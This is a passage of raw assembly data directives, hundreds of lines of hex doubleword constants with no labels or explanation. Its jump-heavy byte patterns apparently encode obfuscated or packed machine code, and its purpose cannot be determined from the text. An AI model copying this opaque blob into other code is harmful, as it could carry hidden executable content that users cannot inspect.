2D9A06C2h, 28E0FD5h dd 0B2000000h, 0BAF55FCAh, 21FC4DEFh, 5FE28166h, 9759BAAAh dd 9E846C4h, 48000000h, 935E0FC2h, 13BBFF21h, 7E85BF8h dd 52000000h, 0BEE167EDh, 13E87610h, 0EE000000h, 0D2FD394h dd 0F1CCD6CCh, 6C33A553h, 60E45EA6h, 0F58057DDh, 8B595F49h dd 0BE8F7h, 0F1FB0000h, 3D0AF920h, 0E49373CBh, 0D9B70F47h dd 0ECE68058h, 0FF6B70Fh, 289h, 6628B500h, 2EB4D781h, 12E960h dd 4F810000h, 155461BFh, 13D06726h, 9F9D737Dh, 24C1087Ah dd 0C59252BFh, 860F6148h, 8, 880F50h, 5E000000h, 14E9h dd 1FF1E000h, 0ED5FB511h, 6DB4BCD2h, 4C92BAD8h, 0B5DA51A3h dd 0C2C880CAh, 6660D88Bh, 870FF28Bh, 2, 0E8615F50h, 8 dd 0C9FDEF9Dh, 27949252h, 5810Fh, 0B1BF0000h, 5A5A7E4Dh dd 2880Fh, 5B520000h, 8B87DF80h, 8E0FC2h, 8A000000h, 8E9DEh dd 61580000h, 8A38FBFFh, 14E96E45h, 0A5000000h, 7213CF07h dd 0FD9647F7h, 0A6190D2Ah, 0AF1F4FE1h, 0FE60716h, 0F8Ch dd 0AE900h, 806C0000h, 0DA833A01h, 2393401Fh, 0C7F38166h dd 0BFE18A3Ch, 2389F6CCh, 4F6834BAh, 0BF0F5630h, 9E95BFBh dd 0FD000000h, 5F634140h, 26A6044Bh, 0FD88B66h, 38Bh, 0D18B6600h dd 6B043BBEh, 0DAD38145h, 8B424B72h, 4FE381CAh, 812249E9h dd 379D88F3h, 58E0F04h, 0BA000000h, 7D064B6Bh, 0E8D0Fh dd 9E90000h, 0B2000000h, 5B56C239h, 0C6B89507h, 0C01CBA66h dd 8BD78B66h, 0A3BB66F0h, 0EE8D7h, 2520000h, 0C6A2DA8Ch dd 963FECB0h, 96839625h, 11E9h, 74DF2800h, 0E77AAC6Eh dd 0FF6967E5h, 0C488AE33h, 0E85AE556h, 8, 0DE486089h, 661A5E24h dd 27AAD2BFh, 5360584Ah, 0E85FF98Bh, 7, 872F2DA4h, 0F8B68E7h dd 83h, 0F615E00h, 42B9CFBFh, 66472661h, 0E9C39DBFh, 6 dd 71A91689h, 505780B4h, 8E0Fh, 5E5A0000h, 3ACA8166h, 0F51578Ch dd 83h, 0E95E5900h, 6, 40EA5856h, 0C081C1B4h, 3A274548h dd 8B66D98Ah, 9E9C2h, 6AC50000h, 0A191715Ch, 0E8F5395Fh dd 0Fh, 98E737E8h, 9FE34B3Ch, 0FFFA6720h, 81ACE45Ah, 6FCF4EE6h dd 0BF0F5F64h, 0B50FBADBh, 9E87928h, 0F9000000h, 0CFACD916h dd 3D054BEEh, 0CCDBB860h, 6160489Fh, 0BA665861h, 8C0F25B5h dd 2, 816668B5h, 0F8A71C3h, 280h, 8A8CB000h, 8B6660F5h dd 5810FC6h, 66000000h, 149CB81h, 0FF18B61h, 1C8Ah, 0DB816000h dd 47648844h, 0FE9h, 8CD000h, 49E0A71Eh, 0F130E34Eh, 217CDDCFh dd 10E961h, 5DFD0000h, 66079641h, 0D963FBA8h, 9F2DD4F7h dd 0F18B328Ah, 3520D681h, 81666463h, 60AD46E0h, 0FE857h dd 22250000h, 0EE4B1908h, 411CC24Fh, 5482FC27h, 8B5A5F3Ch dd 0DF8B61DEh, 83BF6660h, 0F61F513h, 686h, 3CCE8100h, 662FC912h dd 0D46AC781h, 68D0Fh, 66600000h, 611D3FBFh, 52D3BF0Fh dd 3870Fh, 0B70F0000h, 10E85EF2h, 2E000000h, 0E65ED801h dd 8CF65BF7h dd 0C6F8546Eh, 668D1CEEh, 0F5EF98Bh, 198Fh, 138A0F00h dd 0E9000000h, 0Eh, 9CB39FACh, 74BC1273h, 8B982CF5h, 8166ACE7h dd 609B4CF2h, 8E8h, 4BBAC300h, 9CFE1CD1h, 0AE9ECh, 2750000h dd 79E74E05h, 0F0A31DC6h, 16890F5Bh, 0E8000000h, 10h, 36905507h dd 6F8603EDh, 0A91FF9FFh, 0D1C6C5F8h, 8166615Bh, 66B299C0h dd 6656C88Bh, 0F9E6D281h, 0F8E2805Bh, 0B840Fh, 880F0000h dd 5, 837415B9h, 40B96614h, 5860FF9h, 52000000h, 5FD08B66h dd 890Fh, 12E80000h, 0AC000000h, 0D7FD4533h, 237AB0A4h dd 0B02ED8F1h, 363CF504h, 0F5AF9F1h, 8Bh, 78B96600h, 0F3816655h dd 8D0FA838h, 5, 19EB8166h, 0FCD58A4Eh, 0B7AE0EBBh, 97E0803Ch dd 0BE8h, 405A6300h, 0A327CEC4h, 574D4182h, 0F9B70F5Fh dd 3860Fh, 0F6800000h, 0B8CCB1DEh, 2900A33Ah, 9B47F7BFh dd 0F78B665Ah, 0CA815E52h, 315CC41Eh, 0F1CF8166h, 8B66523Fh dd 0FA8B5BF8h, 8BF28B66h, 0C78B66CBh, 0FD6B70Fh, 289h dd 60DF8B00h, 3AF68166h, 52F56159h, 0DE85AFCh, 54000000h dd 0E79C6712h, 6977DB67h, 3316C32Fh, 18F0Fh, 5FF90000h dd 816660FCh, 80A018F7h, 0E861A4E1h, 0Dh, 9DF547ECh, 9B7EB3A1h dd 146F55F4h, 228BB50h, 0F5E6B92h, 187h, 8C0FFC00h, 1 dd 11E9F5h, 0DDDC0000h, 1138083Bh, 0A1351DF8h, 0FE73485Bh dd 0FDE9829h, 870FF6B7h, 2, 0B8661BB7h, 0BF0FD49Fh, 0AE9D3h dd 0B6CE0000h, 0DA8EE952h, 6167CBCh, 43B8E0BAh, 5E90Bh dd 4D6C0000h, 0FAB23D4h, 0D58ADEB7h, 8166FA8Bh, 0E9A1D9C9h dd 11h, 6980C482h, 7E636A12h, 6503BACBh, 40884A9Ah, 830F22h dd 0B6000000h, 58E0FB2h, 66000000h, 0F7DB81h, 12E9h, 1EFCC300h dd 234DD54Bh, 717F0EB2h, 34DAD632h, 529D3600h, 5946EB80h dd 5E9h, 9A9E5F00h, 60FCC6D5h, 0BE9h, 60537600h, 75489DB2h dd 234ECD7h, 6661C68Ah, 0D881C18Bh, 13B7D163h, 60F0B70Fh dd 0BE66CA8Bh, 0E9611837h, 0Eh, 3241E120h, 0C0A1B886h dd 0C03D11D7h, 8B668A53h, 890FF0h, 0F5000000h, 4FE78166h dd 86B96606h, 815E525Dh, 4FE88E8h, 0F56B73Bh, 0E852CFBFh dd 12h, 1AC69C38h, 5FC61BBEh, 0EA62EE74h, 0DA6C6722h, 8CBE9282h dd 5A7B9957h, 4830F5Eh, 66000000h, 0E93FA8B9h, 13h, 0B09BFACBh dd 3DBCD1EBh, 0CB6DF99Dh, 0A1EC12C3h, 66125EECh, 0DD11E981h dd 7CB0CB81h, 0F081150Bh, 38B7CCAAh, 7A07DA81h, 8166508Ah dd 0FB1E5D7h, 5AB8FFB7h, 0BA5B2957h, 4B52FA98h, 16890Fh dd 11E90000h, 9C000000h, 0C9CE4EBAh, 40360Dh, 16D84942h dd 0FDDF27AAh, 0E9CE8B66h, 13h, 23DC6A45h, 0CBA9C0B3h dd 0D20702AFh, 0A1418EDEh, 0BA85CB2Fh, 3CC1A19Fh, 118D0Fh dd 0CE90000h, 0A7000000h, 6AFCF73h, 13CA892Dh, 509349DFh dd 1800Fh, 5AF50000h, 0EEA040BFh, 0D70DBF37h, 8A5154F3h dd 880F5FCBh, 4, 0E42DB966h, 0BE9h, 3BA19500h, 6DFECFBCh dd 0B116C14Ah, 332131BFh, 0F2B70F04h, 8BC3EE81h, 0E5801C9Fh dd 8B665684h, 0CE85AF9h, 19000000h, 75D27C18h, 0E6283D69h dd 0FE60869h, 389h, 0D6BF0F00h, 0FCE8B5Ah, 285h, 66D78B00h dd 33CCE981h, 0EE9D68Bh, 0F6000000h, 0C654BC72h, 0EFE14682h dd 0AD1C0E51h, 11ECBE29h, 2BBA4676h, 0B23290C7h, 6651F8D8h dd 5998E5BEh, 2877E381h, 37B90D78h, 602462B8h, 0E4CF8166h dd 4BEEB9B5h, 8B616B14h, 9890FD0h, 60000000h, 81665A57h dd 61A851E9h, 0FCDA8B66h, 0E66338B9h, 5E1DB807h, 0F1815A16h dd 71F0ECEDh, 0FFABF0Fh, 1B8Ch, 0FE800h, 92820000h, 366DD224h dd 273D0EE0h, 6D7F9AE8h, 840F01h, 58000000h, 81666060h dd 0FE91AC8h, 0B861FFBFh, 74492F50h, 0C38B6661h, 2A6BB66h dd 0BA22CD80h, 5F6DBACEh, 0CE9h, 12BF2A00h, 11D81A10h dd 0E91D0418h, 8D0FE7h, 8A000000h, 13E9F3h, 99CE0000h dd 3F598D53h, 3BB619FDh, 9178C72Bh, 6C63606Ah, 0D78166B6h dd 0C181B3E1h, 50483859h, 8BCA8B66h, 0BE9CBh, 60290000h dd 0A84B9328h, 0C1ED5C26h, 0C850FD7h, 0F000000h, 684h dd 8A0F00h, 0E9000000h, 0Dh, 52189F4Bh, 291C00Bh, 7665A709h dd 11E990h, 85AA0000h, 7244AE57h, 0AD435BD2h, 0FBD5C56h dd 8B655983h, 0F58060F1h, 880F0Dh, 61000000h, 0E9F8F380h dd 12h, 0B13ED15Dh, 184FA404h, 2EA333E2h, 0A62C7B09h, 0BF0F039Eh dd 3830FC6h, 80000000h, 0BA528BDCh, 46BB25BBh, 12E859h dd 0EE3C0000h, 0ABAA0FAh, 0C2F8E0B0h, 1350905Fh, 0D2085FDh dd 61D68B60h, 0F10B55Ah, 686h, 31F08100h, 803E6529h, 8B6645C4h dd 0C38166F2h, 0F603843h, 0E8Dh, 9E900h, 5A9D0000h, 0F6E7857Ah dd 0E892BCB0h, 13h, 7D5D012Dh, 0BCDFE0ADh, 0CBD45533h dd 0A3C25428h, 0E89CDD2Fh, 0Ah, 0CC7D62B3h, 22544826h dd 5A58CAA1h, 2850F61h, 8A000000h, 2EC981CCh, 0F5498366h dd 0EE9h, 62DC500h, 0BC65D5B3h, 6564A3F1h, 0FED87D5h, 8Dh dd 0C38BF900h, 0A7C3C681h, 0D98B49D7h, 9E9h, 0D8500F00h dd 0BF8D1147h, 0FB8B45DFh, 0BE9h, 703CEF00h, 51861D3Bh dd 0A4FDC047h, 0C8C0Fh, 820F0000h, 6, 553CB81h, 0BFBA3FA7h dd 8A6940A1h, 38D0FE2h, 80000000h, 11E943F0h, 2000000h dd 0A78F6AD6h, 50D1B7DBh, 7C7BB96Ah, 53277EA7h, 0CC80E6B7h dd 0D1B70FA0h, 8E9D78Bh, 70000000h, 0B1022938h, 80F1B920h dd 0E960FFC6h, 10h, 0D6FF261Dh, 1F6F264Dh, 0E727028Fh dd 866EEEC8h, 5F616050h, 8166FC61h, 0B7FEA2D3h, 0F1816669h dd 14E9E27Ah, 0E8000000h, 66982142h, 7905FFEBh, 0B3704494h dd 613E31Fh, 0B687B5C9h, 0FDE8AFAh, 86h, 0BFEB8000h, 5870Fh dd 81660000h, 0B93B95EFh, 2384E3C6h, 14E8h, 0ED134000h dd 0D804353Eh, 0DC0DBF4Bh, 0C35560ACh, 0E4FB4B34h, 0D0BF0F2Fh dd 18840F5Eh, 0E9000000h, 13h, 99854C9Ch, 7D702E98h, 1E022442h dd 0C7BDE4B1h, 0F2BBEAAh, 0D86h, 8E900h, 78370000h, 26B3E9E1h dd 0C380E8A5h, 0EE9803Dh, 344DF181h, 11E8052Eh, 7E000000h dd 13C697BEh, 0AF07C51Bh, 0B278920Eh, 4DECBE05h, 0DE8h dd 96F0BF00h, 2C8806A0h, 5CB3DFBDh, 50BB79E8h, 5F6ADD06h dd 0F9FE8A59h, 12E8h, 97990A00h, 0ED9450FBh, 0C0948569h dd 0D67A1580h, 667137D2h, 7685F781h, 96F1B95Ah, 0BE663837h dd 0D18B493Ah, 0F8B70F60h, 3497E081h, 606161F0h, 58C0Fh dd 81660000h, 0FBE20C6h, 282h, 615F5100h, 7E9h, 4F576C00h dd 0F7B62DB5h, 108F0Fh, 0BE90000h, 0BB000000h, 8D23F6A8h dd 6C60CD29h, 820FCD3Dh, 1Ch, 16890Fh, 10E80000h, 4E000000h dd 1F1FBFCDh, 0F85BB1BFh, 36A7C4B7h, 596440BAh, 0CE8h dd 0B393D000h, 98C8A130h, 0E8199737h, 0EBEDBF2Ch, 565B3568h dd 5E6CE180h, 0DE8h, 4DBB4100h, 9122A4B9h, 1637410Ch, 0BF0F7D9Fh dd 7BF5BF2h, 661B7C1Bh, 0FBDC4B9h, 880h, 28F0F00h, 60000000h dd 8D0F6061h, 0 dd 0FA8BFC61h, 0BF3DCC80h, 512A1870h, 58A0F60h, 66000000h dd 9917CB81h, 0A2E2BF66h, 5BF85061h, 5860Fh, 8AB90000h dd 0F51284D9h, 0BE9h, 678E8C00h, 1C83A408h, 0E8A88DF0h dd 0DE9h, 69D46300h, 4CA3993Eh, 0CAC71D42h, 8B667961h dd 74EF80F9h, 81FABF0Fh, 0EEA8DDEh, 23D6816Ch, 0E87FA87Ch dd 0Fh, 413E61C9h, 0CF50DC71h, 0DB709CC2h, 0B928681Eh dd 20B36E55h, 8BAFB55Eh, 0CFBF0FF3h, 89AEB966h, 11E8h dd 0FBE53300h, 8858548Eh, 0F39ED65Eh, 0BAB2974Ah, 0FE93704h dd 50000000h, 21215D1Dh, 0B806503Dh, 0D23AF621h, 8B5FADD3h dd 0DE9CFh, 365E0000h, 3307D993h, 412BADB6h, 0E9A4B554h dd 8, 0EA2DA14Fh, 79A163C3h, 0E9FBBF0Fh, 5, 53678D6h, 0EE87Ah dd 291F0000h, 1426F0AFh, 0FD63FF19h, 1B2B0FD5h, 80D78B5Bh dd 0BE865C2h, 5D000000h, 0C764F59Ch, 701A386Bh, 14E8BE49h dd 7E000000h, 7E813A0Fh, 16AC8A59h, 40EF6AB6h, 0A1BE8043h dd 8BCB2C0Eh, 665A5AD6h, 0D381FE8Bh, 1610DABAh, 31F38166h dd 0FEB70FC6h, 118D0Fh, 0CE90000h, 0C000000h, 482A763Fh dd 56E02E88h, 0F1DB1A9h, 384h, 0C2BF0F00h, 66CABF0Fh, 0F990CABFh dd 14850Fh, 0FE90000h, 86000000h, 0A7A37A30h, 210CF12Fh dd 0F8B6042h, 0DE9F981h, 0D8000000h, 80008EEFh, 0D4936355h dd 0B05BE999h, 0E960C28Bh, 12h, 779E32C9h, 6BC8DAB2h, 33948E3Bh dd 1E8942Dh, 10E8C8D2h, 0FE000000h, 7107B7E1h, 0C775B8AAh dd 0A6979ED2h, 66A58DC7h, 6158FA8Bh, 0D8F0Fh, 8E90000h dd 0A1000000h, 8F255D9h, 0F7777C9h, 810FD1BFh, 0 dd 4852BB66h, 58F0Fh, 81660000h, 607EC9C7h, 13E9h, 7C70A700h dd 7D3108CAh, 5C1C8F59h, 0CF4B4863h, 87D89017h, 4794BE66h dd 6E961h, 83970000h, 0A2CF3061h, 0B9B96653h, 0D0815FF4h dd 45FD8D51h, 0C4C28166h, 23B86626h, 0E2816692h, 5260533Eh dd 66596160h, 0A4F0E081h, 8E95261h, 7D000000h, 601CD3F3h dd 5887CAE5h, 0B866DA8Bh, 66B4A46Dh, 0D88B952h, 665F2998h dd 8D93D081h, 64B829B0h, 806B3F29h, 14E977CEh, 2B000000h dd 94847FBBh, 31233A21h, 9498CF06h, 6CD88F55h, 8A2F78D5h dd 2ED981DAh, 565D09FFh, 58D38B56h, 0F6BF0F5Fh, 9860Fh dd 800F0000h, 3, 66D38B66h, 0EA81D98Bh, 0F27A481h, 0DBF28166h dd 8160603Dh, 0F88F8AC6h, 810F14h, 61000000h, 0C045BE66h dd 5372B861h, 6E9088Dh, 98000000h, 45E053F6h, 0BE84Ch dd 651C0000h, 1688801Dh, 87E0C55Ah, 9FB8668Eh, 0B70F5ACEh dd 5E9F9h, 0C8E00000h, 6675DA91h, 0B7D6A8BFh, 0D881B898h dd 0EE96169h, 0F9000000h, 0D647B7A1h, 332D20E5h, 0BB35AF54h dd 148F0F11h, 0E9000000h, 0Fh, 8BD20210h, 0F8E68911h, 16514798h dd 0F28AAC1h, 285h, 80F08B00h, 8D0FA0DAh, 3, 66D9B70Fh dd 0F89077B8h, 0B70F38B0h, 0FE8D1h, 56AC0000h, 3B73F31Dh dd 0EB71F636h, 772531C0h, 5ED78B03h, 6AC18166h, 0B53DBA51h dd 7E9474Fh, 86000000h, 93D69D08h, 35B49A79h, 8B66F38Ah dd 0D0BF0FDAh, 5836D381h, 0F5604306h, 0A173C081h, 0F614CE7h dd 8A0FD0B7h, 0 dd 0C870Fh, 850F0000h, 6, 8F0Fh, 8A0F0000h, 3, 66CE8B66h dd 0F08AFE8Bh, 66573CB1h, 0DF96D381h, 0E82AB65Fh, 0Ah dd 38C01C33h, 0F0091599h, 6658F1F0h, 39B8C781h, 10E9h dd 3B363600h, 0B80495ABh, 51F090BFh, 0FD232689h, 0B6B96615h dd 0EE9E7h, 0C310000h, 0D24675E1h, 70CD39C7h, 1DD4A7C2h dd 0EF65EF81h, 66564B1Ah, 0D6EF081h, 13860F5Fh, 0E9000000h dd 0Eh, 0E2133F0Fh, 4AA8DF2Ch, 8F354BBEh, 0F853E0B8h, 0A3BAF55Bh dd 0E97B6F67h, 6, 4733C637h, 0BF601642h, 0ECFE5FFh, 0EE02F281h dd 0BB6154A8h, 3C91C420h, 58D0Fh, 9ABB0000h, 6644ADA8h dd 900BF381h, 98F6E681h, 0EF814D56h, 2B976064h, 2870Fh dd 0DA8B0000h, 81665AB6h, 0BADC67E9h, 7D7C75CDh, 8D0F4CB3h dd 4, 0F03EBF66h, 0F0816656h, 0E958D82Ch, 10h, 0EE6834E2h dd 10C829CEh, 0DE857B90h, 0BBD72ADFh, 0BA66FE8Bh, 0B70FEAD8h dd 0AE9FBh, 0E5290000h, 271A1949h, 0B442ED0Fh, 10E960h dd 2CA90000h, 2D593BECh, 1ADF0E52h, 0C7587ADh, 8B660D65h dd 0FF861DAh, 38Ah, 61F86000h, 0FC88B66h, 486h, 0CEBE6600h dd 28D0F63h, 8B000000h, 0F28166DAh, 0F5257B8h, 281h, 595F5300h dd 0F5F7B70Fh, 0BE9h, 0C7AAB600h, 5A524181h, 0D5B68BB9h dd 3830F60h, 66000000h, 0B261FA8Bh, 0CEB70FE0h, 0CF4BF66h dd 8BD3C080h, 0B5BE66C2h, 68ABFBAh, 8B0F0C5Eh, 3, 0BA76E280h dd 2BCECFC1h, 2BBB57B3h, 660C4043h, 0C9C2C981h, 0E537D0BEh dd 0EF81666Bh, 6E82A37h, 4C000000h, 8FA9DC78h, 0E7D380ECh dd 0CF81605Eh, 79FB0B51h, 0DE8h, 0D08FDD00h, 5F0B1F8Bh dd 0A9CF9D63h, 0D18B90C8h, 0F51615Ah, 178Ah, 12E900h, 43B50000h dd 865B6767h, 558EAA77h, 0EBB1EFC1h, 8D895680h, 53CE8B58h dd 870F51h, 5B000000h, 0F60605Ah, 5A53D9B7h, 6800F61h dd 0F000000h, 84h, 8B0F6100h, 7, 0C7816652h, 0F59D569h dd 1B82h, 15840F00h, 0E8000000h, 0Fh, 0AAA83F9Eh, 0A81148D9h dd 0C73BC27Ch, 58E0BF48h, 0AE9F78Bh, 0AF000000h, 0EE229B7Ch dd 0FC7EDAC0h, 0BE66F58Bh, 0F603EDFh, 68Bh, 1EC78100h dd 616829A0h, 8880Fh, 840F0000h, 2, 6E9DE8Bh, 30000000h dd 0D7FE796Fh, 0F9B70F2Fh, 6E9DA8Ah, 36000000h, 70BC2E8Ch dd 890FF5BBh, 3, 808AF380h, 81663EC1h, 8139D7D9h, 9BFD8D8h dd 2830F61h, 0B0000000h, 0FE935h, 0B4FA0000h, 39AC03B3h dd 3B2063F4h, 745EF6EDh, 3AD9811Fh, 664DF56Ch, 0D98BF08Bh dd 23F18153h, 596263F8h, 0F77F580h, 8BF8F7BFh, 8B6660CBh dd 14E960C7h, 19000000h, 52B355D0h, 0FE6A644h, 259342B2h dd 0A5C28E41h, 8B335C4Ch, 0BA6161D7h, 569BA1A7h, 0BFF1BF0Fh dd 33F004CEh, 0BDDFF781h, 0E081561Eh, 51447637h, 0CE9h dd 33870B00h, 0C8539E36h, 0CC0E816Ah, 870F5689h, 6, 8F0Fh dd 8A5A0000h, 28D0FFAh, 8B000000h, 0F5D48ADEh, 66D2BF0Fh dd 0E8ABF2B9h, 8, 7CE64F6h, 686C9D6Eh, 5879B453h, 3AB9665Bh dd 5AF78149h, 66114819h, 6683E2B8h, 551BC281h, 8BD08166h dd 12E9CBh, 9BB0000h, 5F5FD72Eh, 0C27EC857h, 5D7AC2B5h dd 0B0400628h, 12E8h, 2265DB00h, 7AC843C8h, 0A594280Bh dd 0AB9FB2Eh, 0E97036FDh, 0Dh, 0AFB719DCh, 64BE4DFEh, 71145E16h dd 11E95839h, 0AF000000h, 179E521Dh, 5BBE5A99h, 502012AFh dd 88F49043h, 6060D68Bh, 0E861D1B1h, 12h, 0A57B70FCh, 0AD77CFABh dd 0F4D40022h, 230BB31Ch, 0BF0F1490h, 0F6159C2h, 0E781FEBFh dd 1261D7C8h, 5B78B353h, 0D3BE6660h, 2890F50h, 8A000000h dd 6E861E8h, 67000000h, 0C6EBDFA5h, 0B0BE662Fh, 0E0805ED3h dd 0BE86035h, 82000000h, 0E7011776h, 522FF2F2h, 0CE97888h dd 0AB000000h, 2DA4B251h, 68E7872Fh, 590D978Bh, 0E961DA8Bh dd 0Eh, 2BEE6F0Fh, 0B6ADA348h, 509BDA77h, 0CE8C8F4h, 0CF000000h dd 0C06E8093h, 0EDFE4F5Ah, 0E897F83Bh, 0Ch, 782B3EEBh dd 0C7421E35h, 0FE49B0A9h, 58C0ED80h, 38B0F5Bh, 0F000000h dd 880FF0BFh, 3, 66F2B70Fh, 0AFA4D281h, 0FC7BF0Fh, 0FE8F7B7h dd 8B000000h, 8E7B4329h, 0B24DAAD4h, 740FD888h, 0F780B8DEh dd 14E85F33h, 0AF000000h, 8D77AFA6h, 0A7E6CE55h, 600648B8h dd 0FBB8502Fh, 537D24D3h, 585F1FB1h, 73CB98B8h, 8E96Bh dd 0EC280000h, 29622717h, 11E8F8B4h, 0B8000000h, 3EB02807h dd 0E75C4002h, 0B51BE3A7h, 7939DBA1h, 9E9h, 0E5A6E500h dd 81F75CF0h, 805AA711h, 0FE8BD5C2h, 88D0Fh, 0F560000h dd 8Ch, 9BB85900h, 0B26A715Ch, 5E9C4h, 15FC0000h, 0F8D709Eh dd 18Ah, 0BF0FF900h, 148A0FFAh, 0E9000000h, 0Fh, 0EAD92CE4h dd 6427F937h, 625378E9h, 528C51DDh, 0D08B6658h, 60CE8B66h dd 0CE78166h, 0D6B16178h, 0FCBBF0Fh, 18Ah, 5B53F500h, 14E960h dd 0E9F40000h, 15A9D228h, 0D397A1D9h, 0CC37C740h, 32D8B560h dd 6E987F7h, 0B6000000h, 83D55993h, 820F615Fh, 1, 0FF08BFCh dd 88Ch, 0C3815600h, 7597C166h, 0C4BF6658h, 4B96614h, 0DB8166E7h dd 0B70FC675h, 0FC2B3CBh, 287h, 50CE8B00h, 8B5FCBB6h, 6495B8F7h dd 8E83043h, 77000000h, 3B556841h, 669761C0h, 0E95FDF8Bh dd 11h, 71F94985h, 185C8364h, 19DDDA69h, 2DCBF7D6h, 66D88BFCh dd 800FD78Bh, 1, 37BB66F9h, 13E852F1h, 0CF000000h, 7ACE21E0h dd 9DA59DD1h, 0CE3BAB11h, 7B4D3DECh, 0BB6635A0h, 595E92EEh dd 4800Fh, 0B8660000h, 8B6647ECh, 12E9C1h, 844C0000h, 0EF014F03h dd 94290271h, 0B4330D74h, 0E05BB98Ah, 48513BBBh, 0E8F08A2Eh dd 9, 7397416Ch, 0D6E7A5BFh, 6E945h, 397E0000h, 74DC3586h dd 8F0FF85Bh, 5, 0D9DBF6B8h, 0CFBAF928h, 6628F8C3h, 0F1FCDB81h dd 9CB4C58Ah, 5E8AB157h, 0C40DB866h, 0FE9h, 254CBC00h dd 0EA7B9F24h, 70028E81h, 3B483341h, 48BB966h, 0F2BF0F60h dd 30D68166h, 8B666144h, 35EB8D7h, 0EFB16E90h, 0F08BF88Ah dd 0AD77F681h, 0EF807163h, 57535108h, 0E9585A59h, 0Ah dd 0A68B4967h, 0B98452F3h, 0CE8B578Dh, 14E9h, 22DB5400h dd 8D6829AEh, 9596EF10h, 0B6EB2FC1h, 195246F5h, 148C0F1Dh dd 0E9000000h, 0Fh, 0A652B552h, 0D355F054h, 3BA8A69Eh dd 0BE74C315h, 0DB1F7C0h, 13E8h, 0EDB11900h, 0EA675004h dd 46A25AB5h, 4048D281h, 84194BE2h, 5B79D180h, 60D9B70Fh dd 7BEF8166h, 0AE8EAh, 8C420000h, 0FD98B9Ah, 482BEE6Fh dd 615BCB8Ah, 0D08B66F9h, 38C0FF9h, 51000000h, 870F5BF8h dd 0 dd 0D381F88Bh, 74C785BBh, 66F3BF0Fh, 66B1EFBFh, 23C1D381h dd 9E9h, 0C686F800h, 3D063FDCh, 7E81DEFh, 5E000000h, 0CBD6C508h dd 0DA8BEC52h, 12E85Ah, 2DB00000h, 0C2C04603h, 0A9CBE3D7h dd 0ACF28DCh, 78DC19B3h, 14E95BFCh, 45000000h, 237F3031h dd 3285D7E4h, 4F1D7A82h, 6B653A7Bh, 6610BAE6h, 8B66CE8Bh dd 0FDF8BD3h, 681h, 74F78100h, 8072B4BDh, 8B0F02F3h, 3 dd 81D9BF0Fh, 274184DFh, 0F98B6075h, 0F2816661h, 66FC30EAh dd 17E9D981h, 9E8565BFh, 0EA81666Ch, 81663264h, 666F32D7h dd 810F2AB9h, 41B83AC6h, 8160606Dh, 936FACEBh, 8D0F73h dd 61000000h, 61DFBF0Fh, 6860Fh, 8B600000h, 615B50CEh dd 0FFAB70Fh, 581h, 0D7816600h, 0B866BCA3h, 840FBFF4h dd 15h, 10E9h, 2AD75300h, 1553219Fh, 5A83BA4Bh, 6137C2E0h dd 0F24B65Ch, 488h, 0C38B5600h, 0D1816659h, 19BAEDC6h dd 6060A55Fh, 0E8CB8B61h, 14h, 6784F0BDh, 889AF3EEh, 0CC9CDEB0h dd 0EC6F7DD7h, 7D97FBECh, 6E85EF8h, 3000000h, 0AA18874Ah dd 800F6029h, 0 dd 67E88166h, 805B61B4h, 0F580C2DAh, 890F60B4h, 2, 0BE85B53h dd 0FC000000h, 0F0FDF483h, 99AD4C44h, 13E8E0F0h, 0E3000000h dd 34164AF0h, 2285473Ch, 0DF317A8h, 200594C8h, 5959D88Dh dd 0DE96061h, 0BA000000h, 139C53D2h, 0D673A089h, 41D68B99h dd 10A5B966h, 71F28161h, 6617588Bh, 25CEEB81h, 3D16F281h dd 830F62B3h, 1, 8E9FCh, 95640000h, 0EBDC32C7h, 42B9694Dh dd 661E0C0Fh, 0DE8CE8Bh, 8B000000h, 80596457h, 0BFDD38F4h dd 0E801DE6Fh, 8B66F55Fh, 7E51BED9h, 66FC54DBh, 4372C881h dd 0E9C8B70Fh, 0Bh, 9D1B4B94h, 0CE9EEB77h, 66EE6119h, 0BB66DF8Bh dd 0E9515D1Fh, 6, 0C63DE782h, 0E95EDB99h, 7, 7A79B36Ah dd 0E90D1722h, 7, 4CCB185Eh, 0B78FB20Ah, 840FF9B1h, 12h dd 6E8h, 8B6B7800h, 81BB66A8h, 22C8FAC2h, 0BE665A42h, 10E8509Fh dd 2F000000h, 23EA0DB5h, 673BA2E1h, 0E98CC7EFh, 0E9A6EE70h dd 13h, 0A03FE696h, 994A9509h, 0F7805257h, 0B9928945h dd 5BC5CA93h, 0BB6630B0h, 8B66BFFBh, 8D0F60DEh, 2, 0C781B9B7h dd 7FF5D4D6h, 0F5CF8061h, 0BB92F781h, 0B8663492h, 0E981F5EEh dd 4954EDDEh, 0CE8h, 0E6C55800h, 6F71B2ACh, 92F366F0h dd 0CA8B666Bh, 0F9B6B759h, 0A3F28157h, 5F375437h, 598B966h dd 5EF78B50h, 6660DE8Bh, 61AA33BEh, 0FCBB70Fh, 0E8Ch, 5E800h dd 4BD30000h, 664ACF68h, 815ADA8Bh, 0B75F86DAh, 0A8BF667Bh dd 8C0FF8D0h, 5, 83D68166h, 0CEFB9D2h, 8B660727h, 8B4EB1D1h dd 0E68166DEh, 0F18B3AC1h, 8A0FEF8Ah, 24h, 14E8h, 8405C000h dd 31ACBB5Ah, 0C9DC1879h, 0FE213033h, 957B00CFh, 5E954h dd 62910000h, 5ACD24E3h, 0D8D0Fh, 8E90000h, 22000000h dd 7D1A4F36h, 567CF474h, 7A3FDA81h, 0F594307h, 8C0FC8BFh dd 1Bh, 158D0Fh, 10E90000h, 5B000000h, 685F8AAAh, 518B9253h dd 0A1E5D192h, 6652426Bh, 81A96ABEh, 5BA75AE7h, 0F181606Fh dd 241D5E50h, 12E9h, 0BCF08500h, 0FEB9C752h, 0F847F917h dd 0C174B843h, 61300698h, 62BED281h, 0E9F94262h, 0Eh, 67F41DB1h dd 4A5B7B5Eh, 0ED99A0EFh, 0F2B6C25Ch, 0EEBAEE81h, 8B663444h dd 5DF181FEh, 0BA21BC1Ch, 634F95F1h, 6820Fh, 8F0F0000h dd 0 dd 0E9E4B966h, 0FCA8B66h, 1080h, 0BE900h, 3EEA0000h, 5C0E9114h dd 6F3BEA35h, 0FCC18B1Ah, 61606060h, 8B0Fh, 81610000h dd 0F78C4ED6h, 0C18B6102h, 0AE8h, 5140ED00h, 0E0B5F879h dd 0FF40897h, 0F5BC6B7h, 1D86h, 14E800h, 9780000h, 0C59BF55Dh dd 93CB9D87h, 0E2FA201Ch, 71A12BCDh, 0BF0F923Ch, 0D08B5BDBh dd 68E0F60h, 81000000h, 0D3139C2h, 0C9816671h, 0F61BC1Fh dd 0E78AFBB7h, 5486DB81h, 24BF5C93h, 66761C74h, 5CB8C18Bh dd 